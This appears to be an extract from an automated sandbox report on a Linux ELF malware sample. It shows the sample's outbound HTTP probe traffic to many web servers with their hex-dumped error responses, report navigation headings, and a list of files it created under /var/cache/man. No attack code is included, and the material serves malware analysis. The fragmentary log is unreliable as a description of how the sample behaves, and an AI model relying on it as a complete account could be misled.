Nov 5, 2022 00:25:40.508153915 CET	229	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Fri, 04 Nov 2022 23:25:40 GMT Date: Fri, 04 Nov 2022 23:25:40 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 35 36 66 66 30 31 31 37 26 23 34 36 3b 31 36 36 37 36 30 34 33 34 30 26 23 34 36 3b 31 33 35 36 35 31 35 36 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.56ff0117.1667604340.13565156</BODY></HTML>

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:25:45.105098963 CET	264	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:25:45.318336964 CET	264	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
Nov 5, 2022 00:25:45.490065098 CET	264	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 04 Nov 2022 23:22:14 GMT Content-Type: text/html Content-Length: 0 Connection: close Location: http://www.localhost/index.php

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:25:55.361054897 CET	323	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:25:55.757716894 CET	327	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:25:56.557602882 CET	328	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:25:58.125706911 CET	338	OUT	GET / HTTP/1. Data Raw: Data Ascii:

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:26:00.683048010 CET	352	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:26:00.870063066 CET	352	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
Nov 5, 2022 00:26:01.057689905 CET	357	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Fri, 04 Nov 2022 23:26:00 GMT Date: Fri, 04 Nov 2022 23:26:00 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 62 37 61 61 34 62 36 38 26 23 34 36 3b 31 36 36 37 36 30 34 33 36 30 26 23 34 36 3b 31 65 32 64 38 63 33 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.b7aa4b68.1667604360.1e2d8c31</BODY></HTML>

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:26:20.464349031 CET	464	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:26:20.548355103 CET	464	IN	HTTP/1.1 404 Not Found

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:26:23.002979040 CET	483	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:26:23.532308102 CET	483	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:26:24.588066101 CET	492	OUT	GET / HTTP/1. Data Raw: Data Ascii:

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:26:26.555238008 CET	509	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:26:26.713776112 CET	509	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
Nov 5, 2022 00:26:26.872201920 CET	510	IN	HTTP/1.1 400 Bad Request Server: CloudFront Date: Fri, 04 Nov 2022 23:26:26 GMT Content-Type: text/html Content-Length: 915 Connection: close X-Cache: Error from cloudfront Via: 1.1 bd9fc11a240ad52ff34b1a4300146b9a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: PHX50-C1 X-Amz-Cf-Id: GXA3IW-6x_udh3RuhXUDCk-D2-lw7Vj1tNJNBYGF5lJr1E0JpmKJ0w== Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 4f 4e 54 45 4e 54 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 3e 0a 3c 54 49 54 4c 45 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 34 30 30 20 45 52 52 4f 52 3c 2f 48 31 3e 0a 3c 48 32 3e 54 68 65 20 72 65 71 75 65 73 74 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 73 61 74 69 73 66 69 65 64 2e 3c 2f 48 32 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 42 61 64 20 72 65 71 75 65 73 74 2e 0a 57 65 20 63 61 6e 27 74 20 63 6f 6e 6e 65 63 74 20 74 6f 20 74 68 65 20 73 65 72 76 65 72 20 66 6f 72 20 74 68 69 73 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 61 74 20 74 68 69 73 20 74 69 6d 65 2e 20 54 68 65 72 65 20 6d 69 67 68 74 20 62 65 20 74 6f 6f 20 6d 75 63 68 20 74 72 61 66 66 69 63 20 6f 72 20 61 20 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 65 72 72 6f 72 2e 20 54 72 79 20 61 67 61 69 6e 20 6c 61 74 65 72 2c 20 6f 72 20 63 6f 6e 74 61 63 74 20 74 68 65 20 61 70 70 20 6f 72 20 77 65 62 73 69 74 65 20 6f 77 6e 65 72 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 49 66 20 79 6f 75 20 70 72 6f 76 69 64 65 20 63 6f 6e 74 65 6e 74 20 74 6f 20 63 75 73 74 6f 6d 65 72 73 20 74 68 72 6f 75 67 68 20 43 6c 6f 75 64 46 72 6f 6e 74 2c 20 79 6f 75 20 63 61 6e 20 66 69 6e 64 20 73 74 65 70 73 20 74 6f 20 74 72 6f 75 62 6c 65 73 68 6f 6f 74 20 61 6e 64 20 68 65 6c 70 20 70 72 65 76 65 6e 74 20 74 68 69 73 20 65 72 72 6f 72 20 62 79 20 72 65 76 69 65 77 69 6e 67 20 74 68 65 20 43 6c 6f 75 64 46 72 6f 6e 74 20 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 0a 3c 42 52 20 63 6c 65 61 72 3d 22 61 6c 6c 22 3e 0a 3c 48 52 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 70 78 22 3e 0a 3c 50 52 45 3e 0a 47 65 6e 65 72 61 74 65 64 20 62 79 20 63 6c 6f 75 64 66 72 6f 6e 74 20 28 43 6c 6f 75 64 46 72 6f 6e 74 29 0a 52 65 71 75 65 73 74 20 49 44 3a 20 47 58 41 33 49 57 2d 36 78 5f 75 64 68 33 52 75 68 58 55 44 43 6b 2d 44 32 2d 6c 77 37 56 6a 31 74 4e 4a 4e 42 59 47 46 35 6c 4a 72 31 45 30 4a 70 6d 4b 4a 30 77 3d 3d 0a 3c 2f 50 52 45 3e 0a 3c 41 44 44 52 45 53 53 3e 0a 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1"><TITLE>ERROR: The request could not be satisfied</TITLE></HEAD><BODY><H1>400 ERROR</H1><H2>The request could not be satisfied.</H2><HR noshade size="1px">Bad request.We can't connect to the server for this app or website at this time. There might be too much traffic or a configuration error. Try again later, or contact the app or website owner.<BR clear="all">If you provide content to customers through CloudFront, you can find steps to troubleshoot and help prevent this error by reviewing the CloudFront documentation.<BR clear="all"><HR noshade size="1px"><PRE>Generated by cloudfront (CloudFront)Request ID: GXA3IW-6x_udh3RuhXUDCk-D2-lw7Vj1tNJNBYGF5lJr1E0JpmKJ0w==</PRE><ADDRESS></ADDRESS></BODY></HTML>

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:25:19.688421965 CET	68	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:25:19.967423916 CET	69	IN	HTTP/1.1 404 Not Found Content-Type: application/json Content-Length: 56 Date: Fri, 04 Nov 2022 23:25:19 GMT Connection: close Data Raw: 7b 22 63 6f 64 65 22 3a 22 52 65 73 6f 75 72 63 65 4e 6f 74 46 6f 75 6e 64 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 2f 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 22 7d Data Ascii: {"code":"ResourceNotFound","message":"/ does not exist"}

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:26:26.913844109 CET	511	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:26:27.099772930 CET	511	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
Nov 5, 2022 00:26:27.286623955 CET	520	IN	HTTP/1.1 404 Date: Fri, 04 Nov 2022 23:26:27 GMT Content-Length: 0 Connection: close

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:26:31.472302914 CET	549	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:26:31.688067913 CET	549	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
Nov 5, 2022 00:26:31.859954119 CET	549	IN	HTTP/1.1 404 Not Found Server: Microsoft-HTTPAPI/2.0 Date: Fri, 04 Nov 2022 23:26:35 GMT Connection: close Content-Length: 0

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report 7r792pU6AE.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Snort Signatures

Joe Sandbox Signatures

Spreading

Networking

System Summary

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/var/cache/man/6273

/var/cache/man/cs/6273

/var/cache/man/cs/index.db.yRlohv

/var/cache/man/da/6273

/var/cache/man/da/index.db.qcZZ7u

/var/cache/man/de/6273

/var/cache/man/de/index.db.b5P0dz

/var/cache/man/es/6273

/var/cache/man/es/index.db.cUw7sw

/var/cache/man/fi/6273

/var/cache/man/fi/index.db.7SqTAz

/var/cache/man/fr.ISO8859-1/6273

/var/cache/man/fr.ISO8859-1/index.db.DZXqXu

/var/cache/man/fr.UTF-8/6273

/var/cache/man/fr.UTF-8/index.db.nNGqXy

/var/cache/man/fr/6273

/var/cache/man/fr/index.db.nyy4ox

/var/cache/man/hu/6273

/var/cache/man/hu/index.db.kRDycy

/var/cache/man/id/6273

/var/cache/man/id/index.db.kql89y

/var/cache/man/index.db.yQSH3y

/var/cache/man/it/6273

/var/cache/man/it/index.db.gQvyZw

/var/cache/man/ja/6273

/var/cache/man/ja/index.db.Ntf66w

/var/cache/man/ko/6273

/var/cache/man/ko/index.db.kdCgXv

/var/cache/man/nl/6273

/var/cache/man/nl/index.db.KUF5Uv

/var/cache/man/pl/6273

/var/cache/man/pl/index.db.uap1lz

/var/cache/man/pt/6273

Linux Analysis Report
7r792pU6AE.elf

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:26:42.240333080 CET	607	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:26:42.380932093 CET	607	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
Nov 5, 2022 00:26:42.522072077 CET	608	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.16.1 Date: Fri, 04 Nov 2022 23:26:42 GMT Content-Type: text/html Content-Length: 169 Connection: close Location: http://www.studyfor.fun Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.16.1</center></body></html>

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:26:43.244167089 CET	623	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:26:43.280308008 CET	624	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:26:43.595786095 CET	629	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:26:43.721095085 CET	629	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
Nov 5, 2022 00:26:43.844772100 CET	630	IN	HTTP/1.1 400 Bad Request Server: openresty/1.19.9.1 Date: Fri, 04 Nov 2022 23:26:43 GMT Content-Type: text/html Content-Length: 163 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 39 2e 39 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty/1.19.9.1</center></body></html>

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:26:45.086864948 CET	645	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:26:45.254739046 CET	645	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
Nov 5, 2022 00:26:45.381863117 CET	645	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 04 Nov 2022 23:26:45 GMT Server: Apache Location: https:/// Content-Length: 217 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https:///">here</a>.</p></body></html>

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:26:51.491348982 CET	685	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:26:51.510101080 CET	685	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
Nov 5, 2022 00:26:51.528624058 CET	686	IN	HTTP/1.1 400 Bad Request Date: Fri, 04 Nov 2022 23:26:51 GMT Content-Type: text/html Content-Length: 155 Connection: close Server: cloudflare CF-RAY: 76511df3ddabbb71-FRA Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:26:56.082640886 CET	715	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:26:56.301157951 CET	716	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
Nov 5, 2022 00:26:56.520186901 CET	716	IN	HTTP/1.1 403 Forbidden Server: nginx/1.13.5 Date: Fri, 04 Nov 2022 23:26:56 GMT Content-Type: text/html Content-Length: 169 Connection: close X-Trace-ID: 8c02d07f1e7b0d01dda4b627df685bf5 ntes-trace-id: c2a0cb5a93df333f:c2a0cb5a93df333f:0:1 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 33 2e 35 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.13.5</center></body></html>

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:27:09.107245922 CET	787	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:27:09.123668909 CET	788	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:
Nov 5, 2022 00:27:09.140338898 CET	788	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Fri, 04 Nov 2022 23:27:09 GMT Date: Fri, 04 Nov 2022 23:27:09 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 61 65 65 36 36 35 35 66 26 23 34 36 3b 31 36 36 37 36 30 34 34 32 39 26 23 34 36 3b 65 63 61 37 32 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.aee6655f.1667604429.eca729</BODY></HTML>

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:27:09.692771912 CET	793	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:27:09.732007980 CET	794	OUT	Data Raw: 0d 0a 0d 0a Data Ascii:

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:25:21.335077047 CET	83	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:25:21.904776096 CET	84	IN	HTTP/1.1 404 Not Found Date: Fri, 04 Nov 2022 23:25:20 GMT Connection: close X-Frame-Options: SAMEORIGIN Content-Type: text/html

Timestamp	kBytes transferred	Direction	Data
Nov 5, 2022 00:25:27.198081970 CET	118	OUT	GET / HTTP/1. Data Raw: Data Ascii:
Nov 5, 2022 00:25:27.737698078 CET	123	IN	HTTP/1.1 404 Not Found Content-Type: text/plain Content-Length: 30 Connection: close